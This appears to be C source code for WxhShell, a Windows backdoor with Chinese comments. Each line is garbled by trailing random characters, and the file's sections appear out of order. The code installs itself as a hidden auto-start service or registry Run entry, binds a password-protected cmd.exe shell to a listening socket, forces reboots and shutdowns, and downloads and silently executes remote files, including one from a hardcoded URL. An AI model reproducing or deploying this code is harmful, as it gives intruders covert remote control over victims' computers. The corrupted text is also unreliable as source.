    if(Boot(SHUTDOWN)) }e\"VhAl/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g89@>?Mn  
    else { 'z|Da&d P  
    closesocket(wsh); Tg{5%~L]   
    ExitThread(0); ajSB3}PN  
    } %o?)`z9-  
    break; e,%|sAs[  
    } u W]gBhO$O  
  // 获取shell DTO_IP  
  case 's': { |Y3w6!$  
    CmdShell(wsh); Spn[:u@  
    closesocket(wsh); `2f/4]fY  
    ExitThread(0); 1jKpLTSs  
    break; Q.N!b 7r7  
  } /a\i  
  // 退出 m.lR]!Y=w  
  case 'x': { 5zK,(cF0-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gmVN(K}SR5  
    CloseIt(wsh); xJ>5 ol  
    break; /43l}6I  
    } ZID-~ 6  
  // 离开 cZVx4y%kz  
  case 'q': { (OiV IH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NK0'\~7&  
    closesocket(wsh); 8?Rp2n*o  
    WSACleanup(); ;"M6}5dQ4  
    exit(1); {Z2nc)|7C  
    break; d*8*9CpO:  
        } <tvLKx  
  } >h aihT  
  } t?"(Zb  
l`"?K D  
  // 提示信息 9"#C%~=+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p_I^7 $  
} e]VW\ 6J&  
  } h(=<-p @  
~cc }yDe  
  return; lp(2"$nQ  
} O}i+ 1  
xt|^~~ /  
// shell模块句柄 LDQ,SS,  
int CmdShell(SOCKET sock) q8P&rMwy  
{ {&+M.Xn  
STARTUPINFO si; 7<su8*?  
ZeroMemory(&si,sizeof(si)); t`B@01;8A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; # Wi?I =,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -J3~j kf  
PROCESS_INFORMATION ProcessInfo; #@oB2%&X?  
char cmdline[]="cmd"; *QQeK# $s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lk>\6o:  
  return 0; i D9 */  
} JU17]gQ  
SMrfEmdH+  
// 自身启动模式 _M%>Qm  
int StartFromService(void) b- - tl@H  
{ G4'Ia$  
typedef struct Lf(( zk:pt  
{ ?9t4>xKn  
  DWORD ExitStatus; oMN<jAU.  
  DWORD PebBaseAddress; p q`uB  
  DWORD AffinityMask; ^i|R6oO_5  
  DWORD BasePriority; 6FzB-],  
  ULONG UniqueProcessId; / <)Vd  
  ULONG InheritedFromUniqueProcessId; P<IDb%W  
}   PROCESS_BASIC_INFORMATION; bkd`7(r  
\2kLj2!  
PROCNTQSIP NtQueryInformationProcess; 9)7$UQY  
2VRGTx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `h@fW- r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a U\|ZCH\]  
s|WwB T  
  HANDLE             hProcess; 0Agse)  
  PROCESS_BASIC_INFORMATION pbi; 8)>x)T  
wPM&N@Pf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P7F"#R0QB  
  if(NULL == hInst ) return 0; u{DEOhtI4  
d1/WUKmbZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @$jV"Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hnFpC1TO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F6}RPk\=i  
~1+6gG  
  if (!NtQueryInformationProcess) return 0; ,jRAVt +{N  
%_W4\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o*)Sg6Yk  
  if(!hProcess) return 0; :e7\z  
 p?f\/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XSC=qg$  
6C&&="uww  
  CloseHandle(hProcess); '$OUe {j<  
3`cA!ZVQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $Wj= V  
if(hProcess==NULL) return 0; k^Qf |  
] :;x,$k  
HMODULE hMod; d9$RmCHe}  
char procName[255]; /-p!|T}w  
unsigned long cbNeeded; -g~+9/;n  
f7a4E+}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d#v@NuO6 h  
'O(=Pz  
  CloseHandle(hProcess); i#V(oSx  
~bZ =]i  
if(strstr(procName,"services")) return 1; // 以服务启动 C=+9XfP0  
tle`O)&uo  
  return 0; // 注册表启动 }R}+8  
} dO8 2T3T  
Kd-1EU  
// 主模块 ^0.8-RT  
int StartWxhshell(LPSTR lpCmdLine) r""rJzFz'  
{ X6cn8ak 3  
  SOCKET wsl; JjS+'A$A5  
BOOL val=TRUE; 8vVE  
  int port=0; -!XG>Z  
  struct sockaddr_in door; $/M-@3wro  
- UkK$wP5  
  if(wscfg.ws_autoins) Install(); -US:a8`  
,m<YS MKX  
port=atoi(lpCmdLine); (S!UnBb&  
Y]([K.I=  
if(port<=0) port=wscfg.ws_port; FC1rwXL(  
R@K\   
  WSADATA data; C*2%Ix18+N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t.ulG *  
Rv&"h_"t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <uuumi-!%G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bX$z)]KKu  
  door.sin_family = AF_INET; 2G~{x7/[@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )P(S:x'b0  
  door.sin_port = htons(port); *5PQ>d G  
c6[m'cy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NIQ}A-b  
closesocket(wsl); @SD XJJ h  
return 1; 3 ZOD2: (  
} @4;'>yr(  
B!Wp=9)G  
  if(listen(wsl,2) == INVALID_SOCKET) { z[f]mU  
closesocket(wsl); %AO6 =  
return 1; ^# $IoW  
} @_C]5D^J^~  
  Wxhshell(wsl); WVeNO,?ytS  
  WSACleanup(); >2s6Y  
5 &8BO1V.  
return 0; SPV+ O{  
3g;Y  
} {>hxmn  
yc*cT%?g  
// 以NT服务方式启动 ]ePg6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \uTlwS  
{ 8~(,qU8-N  
DWORD   status = 0; eA1g}ipm  
  DWORD   specificError = 0xfffffff; ahXcQ9jzFi  
W$jRS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >l 0aME@-0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1T#-1n%[k(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zCJ"O9G<V  
  serviceStatus.dwWin32ExitCode     = 0; .h <=C&Yg  
  serviceStatus.dwServiceSpecificExitCode = 0; vT#R>0@mi  
  serviceStatus.dwCheckPoint       = 0; &n | <NF  
  serviceStatus.dwWaitHint       = 0; 1#N`elm  
p^Ey6,!8]D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h~Ir= JV  
  if (hServiceStatusHandle==0) return; Ct `)R  
:WWHEZK  
status = GetLastError(); 5{yg  
  if (status!=NO_ERROR) ;}6wj@8He  
{ `pfgx^qG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Tc`W_-  
    serviceStatus.dwCheckPoint       = 0; Vb? wwx7=  
    serviceStatus.dwWaitHint       = 0; GOxP{d?  
    serviceStatus.dwWin32ExitCode     = status; <,DMD  
    serviceStatus.dwServiceSpecificExitCode = specificError; RK@K>)"f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EJ {vJZO  
    return; (A2ga):Pk  
  } nrE.0Ue1  
NCg("n,jx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }'vQUG u8z  
  serviceStatus.dwCheckPoint       = 0; z@UH[>^gj  
  serviceStatus.dwWaitHint       = 0; IgJG,!>h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8cfsl lI  
} =,*/Ph&  
F$i50s  
// 处理NT服务事件,比如:启动、停止 vV"YgN:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .Od@i$E>&  
{ R}(Rv3>Xx  
switch(fdwControl) v"2A?  
{ KYkS ^v  
case SERVICE_CONTROL_STOP: DPY+{5q2  
  serviceStatus.dwWin32ExitCode = 0; ,^CG\);  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dgQ<>+9]6  
  serviceStatus.dwCheckPoint   = 0; }qGd*k0F0  
  serviceStatus.dwWaitHint     = 0; '~yxu$aK  
  { xX%{i0E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y, Lpv|  
  } TyO]|Q5  
  return; BV<_1 WT}  
case SERVICE_CONTROL_PAUSE: w?_'sP{pd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UH&1QV  
  break; "w 4^i!\  
case SERVICE_CONTROL_CONTINUE: %*q^i}5)E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~d<&OL  
  break; .,VLQ btg  
case SERVICE_CONTROL_INTERROGATE: u=PLjrB~}  
  break; !`H!!Kg0L  
}; [fwk[qFa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `}ZtK574  
} &n?RKcH}d  
H9;IA>  
// 标准应用程序主函数 :V6t5I'_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /V/ )A\g  
{ q(46v`u  
y'6lfThT  
// 获取操作系统版本 Z @DDuVr  
OsIsNt=GetOsVer(); c=-qbG0`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Gh9(0,B?  
lt'N{LFvc  
  // 从命令行安装 x*j eCD,  
  if(strpbrk(lpCmdLine,"iI")) Install(); oG hMO  
]#S<]vA  
  // 下载执行文件 $qpW?<>,0  
if(wscfg.ws_downexe) { Z>/ *q2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^!O!HMX0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]2&RN@  
} Nw ,|4S  
QX a2qxTc  
if(!OsIsNt) { ifl LY7j  
// 如果时win9x,隐藏进程并且设置为注册表启动 U0W2  
HideProc(); O#!|2qN  
StartWxhshell(lpCmdLine); );S8`V  
} 0e:j=kd)NH  
else zDm3 $P=  
  if(StartFromService()) (bpxj3@R  
  // 以服务方式启动 !u:;Ew  
  StartServiceCtrlDispatcher(DispatchTable); C!1)3w|  
else J}bLp Z  
  // 普通方式启动 b'4}=Xpn  
  StartWxhshell(lpCmdLine); GAs.?JHd  
/,< s9 :  
return 0; 2h@&yW2j  
} ,l,q;]C%  
iTT7<x  
d|gfp:Z`a  
4UPxV"H  
=========================================== 0a!|*Z  
}QCn>LXE  
J_<6;#  
IQ$6}.  
l%u8Lq  
3:c6x kaw  
" !F Zg' 9  
3_&s'sG5  
#include <stdio.h> p&2d&;Qo0  
#include <string.h> }:s.m8LC5n  
#include <windows.h> ZBQ@S  
#include <winsock2.h> qjg Z  
#include <winsvc.h> &:}WfY!hX  
#include <urlmon.h> M`* BS  
|v#rSVx  
#pragma comment (lib, "Ws2_32.lib") T;,,!  
#pragma comment (lib, "urlmon.lib") `0+-:sXZ6  
HqyAo]{GN  
#define MAX_USER   100 // 最大客户端连接数 wT,=C'  
#define BUF_SOCK   200 // sock buffer }P\6}cK  
#define KEY_BUFF   255 // 输入 buffer ZP0D)@8  
,sg\K> H=  
#define REBOOT     0   // 重启 ]{t!J^Xn  
#define SHUTDOWN   1   // 关机 @ W,<8  
wIWO?w2  
#define DEF_PORT   5000 // 监听端口 g<$2#c}  
5Z:qU{[  
#define REG_LEN     16   // 注册表键长度 HHs!6`R$0c  
#define SVC_LEN     80   // NT服务名长度 3m&  
4#t-?5"  
// 从dll定义API Q/h-Kh mz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lPtML<a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6 =G=4{q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )4 ,U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |GP&!]  
50T^V`6  
// wxhshell配置信息 R. vVl+  
struct WSCFG { QTN'yd?WE  
  int ws_port;         // 监听端口 Nz; \PS  
  char ws_passstr[REG_LEN]; // 口令 rP!GS _RG  
  int ws_autoins;       // 安装标记, 1=yes 0=no `'pAiu  
  char ws_regname[REG_LEN]; // 注册表键名 7 Z? Hyv  
  char ws_svcname[REG_LEN]; // 服务名 #]gmM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zzb?Nbf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :s-9@Yl|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5/CF_v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no % w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sN#ju5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~zWLqnS}  
)me`Ud  
}; {:Kr't<XzF  
UG}2q:ST  
// default Wxhshell configuration +B&+FGfNU  
struct WSCFG wscfg={DEF_PORT, Ea-U+7JC  
    "xuhuanlingzhe", B$ho g_=s  
    1, 1<*U:W $g  
    "Wxhshell", ,]Xn9 W  
    "Wxhshell", 8yH)9#>  
            "WxhShell Service", $~%h4  
    "Wrsky Windows CmdShell Service", k*Aee7  
    "Please Input Your Password: ", 1083p9Uh  
  1, rI6+St  
  "http://www.wrsky.com/wxhshell.exe", H/={RuU  
  "Wxhshell.exe" XGjFb4Tw7  
    }; K CH`=lX  
TNK1E  
// 消息定义模块 aeAx0yE[p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o/n4M]G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .*.eY?,V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @X560_x[q  
char *msg_ws_ext="\n\rExit."; m - hZ5 i  
char *msg_ws_end="\n\rQuit."; )+w1nw|m  
char *msg_ws_boot="\n\rReboot..."; =);@<Jp  
char *msg_ws_poff="\n\rShutdown..."; n+i=Ff  
char *msg_ws_down="\n\rSave to "; l\uNh~\  
A r>BL2@  
char *msg_ws_err="\n\rErr!"; g#cet{>  
char *msg_ws_ok="\n\rOK!"; ]0j_yX  
1MT,A_L  
char ExeFile[MAX_PATH]; j2.7b1s  
int nUser = 0; =2ED w_5E  
HANDLE handles[MAX_USER]; ,|.}6\zl*{  
int OsIsNt; NK(_ &.F  
~!cxRd5;F  
SERVICE_STATUS       serviceStatus; fGRV]6?V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qPN9Put  
 p(8@  
// 函数声明 ek0!~v<I  
int Install(void); w*;"@2y;eY  
int Uninstall(void); o P;6i  
int DownloadFile(char *sURL, SOCKET wsh); p8?v o ?^  
int Boot(int flag); aql8Or1[  
void HideProc(void); Bx#=$ka  
int GetOsVer(void); "Aw)0a[j1  
int Wxhshell(SOCKET wsl); n${k^e-=  
void TalkWithClient(void *cs);  X)+6>\  
int CmdShell(SOCKET sock); cDE5/!  
int StartFromService(void); T#*H  
int StartWxhshell(LPSTR lpCmdLine); kxJ[Bi#  
_L$a[zH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ={V@Y-5T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n|XheG7:  
evYn}  
// 数据结构和表定义 =WBfaxL}  
SERVICE_TABLE_ENTRY DispatchTable[] = :Jv5Flxl  
{ W I MBw mg  
{wscfg.ws_svcname, NTServiceMain}, 6N5(DD  
{NULL, NULL} G9yK/g&q  
}; d!YP{y P  
79exZ7|  
// 自我安装 N'R^gL  
int Install(void) hh&$xlO)(v  
{ \=bKuP(it  
  char svExeFile[MAX_PATH]; ^2+ Vt=*  
  HKEY key; Fb =uN   
  strcpy(svExeFile,ExeFile); PPIO<K 3`  
!4'Fz[RK  
// 如果是win9x系统,修改注册表设为自启动 ' BS.:^  
if(!OsIsNt) { +>K&zS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4gsQ:3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =DD KGy.g  
  RegCloseKey(key); [H>u'fy:C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V|$PO Qa3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r9'[7b1l  
  RegCloseKey(key); o5NmNOXm  
  return 0; dS4zOz"  
    } #~"IlBk\  
  } k:R\;l5  
} c {%mi  
else { tm^joK[{|J  
/pPH D]  
// 如果是NT以上系统,安装为系统服务 J 3C^tV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )`f-qTe  
if (schSCManager!=0) bS r"k  
{ 1p$(\  
  SC_HANDLE schService = CreateService \GxqE8  
  ( C9sU^ ]#F  
  schSCManager, -ZZJk-::  
  wscfg.ws_svcname, %\HPYnIe  
  wscfg.ws_svcdisp, :VZS7$5  
  SERVICE_ALL_ACCESS, t~/:St  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qpYgTn8l7  
  SERVICE_AUTO_START, w|s2f`!  
  SERVICE_ERROR_NORMAL, A%Ka)UU+n  
  svExeFile, ;'8P/a$  
  NULL, $) "\N  
  NULL, S3Gr}N  
  NULL, L,y q=%h|  
  NULL, +u0of^}=  
  NULL }%/mPbd#  
  ); f/UU{vX(  
  if (schService!=0) m[v0mXE  
  { 8^y=YUT  
  CloseServiceHandle(schService); \EVT*v=}/  
  CloseServiceHandle(schSCManager); >,]a>V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -6kX?sNl)X  
  strcat(svExeFile,wscfg.ws_svcname); t,|Apl]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xpg -rxX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?96r7C|  
  RegCloseKey(key); zP #:Tv'  
  return 0; K9%rr_ja!  
    } 9S@x  
  } w!6{{m  
  CloseServiceHandle(schSCManager); y,x 2f%x  
} !<:Cd(bM  
} 'sUOi7U  
a~0 ~Y y  
return 1; Q ^2dZXk~  
} >:6iFPP  
?5nEmG|kO  
// 自我卸载 7wh4~  
int Uninstall(void) |> STb\  
{ 2 {b/*w  
  HKEY key; yO%^[c?  
%"mI["{  
if(!OsIsNt) { ) ~=pt&+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yM@sGz6c!  
  RegDeleteValue(key,wscfg.ws_regname); QvZ"{  
  RegCloseKey(key); g@>llve{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @`L ;_S+  
  RegDeleteValue(key,wscfg.ws_regname); <?7qI85OT  
  RegCloseKey(key); g ,JfT^  
  return 0; 3=uhy|f! /  
  } md+pS"8o;  
} y7F |v8bq  
} Sz Mh  
else { UVD D)  
yR>P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CjpGo}a/  
if (schSCManager!=0) T4.wz 58  
{ BC.3U.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cgrSd99.  
  if (schService!=0) s oY\6mHio  
  { b&[".ibN1  
  if(DeleteService(schService)!=0) { b=lJ`|  
  CloseServiceHandle(schService); .|[{$&B  
  CloseServiceHandle(schSCManager); VNWB$mM.2  
  return 0; n5d8^c!2  
  } uG7]s]Wdz;  
  CloseServiceHandle(schService); 7o+L  
  } G%bv<_R  
  CloseServiceHandle(schSCManager); 8<Iq)A]'Z  
} ~_EDJp1J  
} +I3Vfv  
Zu|NF uFI  
return 1; gf8o~vKX$G  
} >S:(BJMo  
pCIS8 2L  
// 从指定url下载文件 N0w?c 5>  
int DownloadFile(char *sURL, SOCKET wsh) IzTJ7E*i  
{ ZXb|3|D  
  HRESULT hr; [M[#f&=Z  
char seps[]= "/"; N[W#wYbH  
char *token; GLO3v. n;  
char *file; %.=}v7&<z  
char myURL[MAX_PATH]; hb; CpA  
char myFILE[MAX_PATH]; KUU {X~w  
(y]Z*p:EW  
strcpy(myURL,sURL); f1aZnl  
  token=strtok(myURL,seps); +w]#26`d  
  while(token!=NULL) {BJ>x:2  
  { }BC%(ZH6  
    file=token; &qg6^&  
  token=strtok(NULL,seps); yq ;[1O_9C  
  } &/U fXKr  
\|S%zX  
GetCurrentDirectory(MAX_PATH,myFILE); :L@ ;.s  
strcat(myFILE, "\\"); hYzP6?K"  
strcat(myFILE, file); &6 s&nx  
  send(wsh,myFILE,strlen(myFILE),0); Cl&mz1Y;]1  
send(wsh,"...",3,0); rNV3-#kU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E:8*o7  
  if(hr==S_OK) _33 b %  
return 0; /HRKw D  
else m'}`+#C%)  
return 1; 'zm5wqrkAd  
6,YoP|@0  
} m,\+RUW'  
kZG=C6a  
// 系统电源模块 rEWJ3*Hb  
int Boot(int flag) gra6&&^"  
{ 9 3)fC  
  HANDLE hToken; Dc0=gq0  
  TOKEN_PRIVILEGES tkp; &fB=&jc*j  
Rr [_t FM  
  if(OsIsNt) { :7LA/j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BO*)cLQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t4UK~ {gh  
    tkp.PrivilegeCount = 1; 0+iRgnd9?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \ Ki3ls  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7_oUuNw  
if(flag==REBOOT) { %mss{p!d6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P0m9($JBD  
  return 0; h.K"v5I*  
} yQ/O[(  
else { o;6~pw%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PpFQoY7M  
  return 0; Brxnl,%\  
} w98M #GqV  
  } Fb1<Ic#  
  else { }i^M<A O  
if(flag==REBOOT) { )zO|m7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wzy[sB274  
  return 0; ^^}htg  
} ?n{m2.H  
else { XFoSGqD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $ H+X'1  
  return 0; @cIYS%iZ  
} <|k :%  
} mQ1  
YZfi-35@g  
return 1; 5xr>B7MRM?  
} F#|y,<}<  
AQ$)JPs  
// win9x进程隐藏模块 %pjY^tM/  
void HideProc(void) =KQIrS:  
{ (5] [L<L  
F-ZTy"z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =XQGg`8<LB  
  if ( hKernel != NULL ) k'%yvlv  
  { EXeV @kg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <m\Y$Wv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %0y-f  
    FreeLibrary(hKernel); `=pA;R9  
  } ;5;>f)diS  
HgW!Q(*  
return; O1jiD_Y!9  
} 9LPXhxNwB  
Y.I~.66s  
// 获取操作系统版本 )0 E_Y@  
int GetOsVer(void) ;/V])4=  
{ AVLY|79#  
  OSVERSIONINFO winfo; fr`#s\JKw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #@-dT,t  
  GetVersionEx(&winfo); <= _!8A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dpE^BWv3  
  return 1; [L-wAk:Fb  
  else "Ia.$,k9  
  return 0; *>?N>f"  
} 5-0&`,  
Ndl{f=sjX-  
// 客户端句柄模块 .s"Og;g  
int Wxhshell(SOCKET wsl) i{N?Y0YQs0  
{ -ewR:Y@j  
  SOCKET wsh; T]Q4=xsv  
  struct sockaddr_in client; XBX`L"0  
  DWORD myID; whe%o  
@?J7=}bzz  
  while(nUser<MAX_USER) A- m IWTa  
{ Z2*?a|3  
  int nSize=sizeof(client); e~*tQ4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NApy(e 5%  
  if(wsh==INVALID_SOCKET) return 1; ,)U%6=o#}  
C8v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .nEMd/pX  
if(handles[nUser]==0) O0rvr$.  
  closesocket(wsh); MV3K'<Y  
else 416}# Mk  
  nUser++; j0oto6z~b  
  } V%;dTCq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2s,cyCw&  
4`o0?_.'  
  return 0; ?z|Bf@TJ[+  
} ^-Arfm%dn  
Iao?9,NL9O  
// 关闭 socket };}N1[D   
void CloseIt(SOCKET wsh) *!%n`BR '  
{ <#"_Qgdix  
closesocket(wsh); )mAD<y+  
nUser--; )@U~Li/+  
ExitThread(0); IDF0nx]  
} vMX\q  
<2 kv/  
// 客户端请求句柄 GNwFB)?j  
void TalkWithClient(void *cs) G3!O@j!7w$  
{ Zw4%L?   
K&{ _s  
  SOCKET wsh=(SOCKET)cs; &)Zv>P8z`  
  char pwd[SVC_LEN]; j p}.W  
  char cmd[KEY_BUFF]; Omn $O>  
char chr[1]; (7,Q4T  
int i,j; Q$: ,N=%  
wNl6a9#  
  while (nUser < MAX_USER) { 8?'=Aeo  
bhg6p$411  
if(wscfg.ws_passstr) { I5[@C<b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mW[w4J+7P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dR>$vbjh1Z  
  //ZeroMemory(pwd,KEY_BUFF); <o|k'Y(-  
      i=0; s)3CosU  
  while(i<SVC_LEN) { 1)~9Eku6K  
s/>0gu]A8  
  // 设置超时 ; %AgKgV  
  fd_set FdRead; h<'tQGC  
  struct timeval TimeOut; {@x-T  
  FD_ZERO(&FdRead); MYxuQ|w  
  FD_SET(wsh,&FdRead); \%]lsml  
  TimeOut.tv_sec=8; zcOm"-E-  
  TimeOut.tv_usec=0; /IX555/dR1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )FA:wsy~E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d7&d FvG  
{fEb>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kn?h  
  pwd=chr[0]; (B@\Dw8^  
  if(chr[0]==0xd || chr[0]==0xa) { K'E)?NW69  
  pwd=0; H8@z/  
  break; gd%Ho8,T  
  } -m=!SQ >9  
  i++; xu]Kt+QnSk  
    } u]9 #d^%V  
U? U3?Y-k`  
  // 如果是非法用户,关闭 socket !w!k0z]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _D+J3d(Pjk  
} J5f}-W@  
:To{&T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); siV]NI ':|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @b5$WKPX  
7''iT{-[p  
while(1) { DbR!s1ux  
LZ(K{+U/  
  ZeroMemory(cmd,KEY_BUFF); :UKc:JVNM  
x FvK jO)  
      // 自动支持客户端 telnet标准   NUh%\{  
  j=0; %l%2 hvGZ  
  while(j<KEY_BUFF) { Az?^4 1r8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "N,@J-]/k  
  cmd[j]=chr[0]; J-klpr#  
  if(chr[0]==0xa || chr[0]==0xd) { AS4oz:B  
  cmd[j]=0; (A?w|/bZd  
  break; yS?5&oMl  
  } /;y`6WG%2  
  j++; 'w/ S6j  
    } .%0a  
S%G&{5  
  // 下载文件 11A$#\,  
  if(strstr(cmd,"http://")) { x'Nc}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -0k{O@l"  
  if(DownloadFile(cmd,wsh)) c[vFh0s"m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ZhBS3L  
  else \m<$qp,n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z#kB+.U  
  } p7.~k1h  
  else { 8&1xb@Nc7  
9zLeyw\  
    switch(cmd[0]) { gEgd/Le  
  Hr}\-$  
  // 帮助 6OtNWbB  
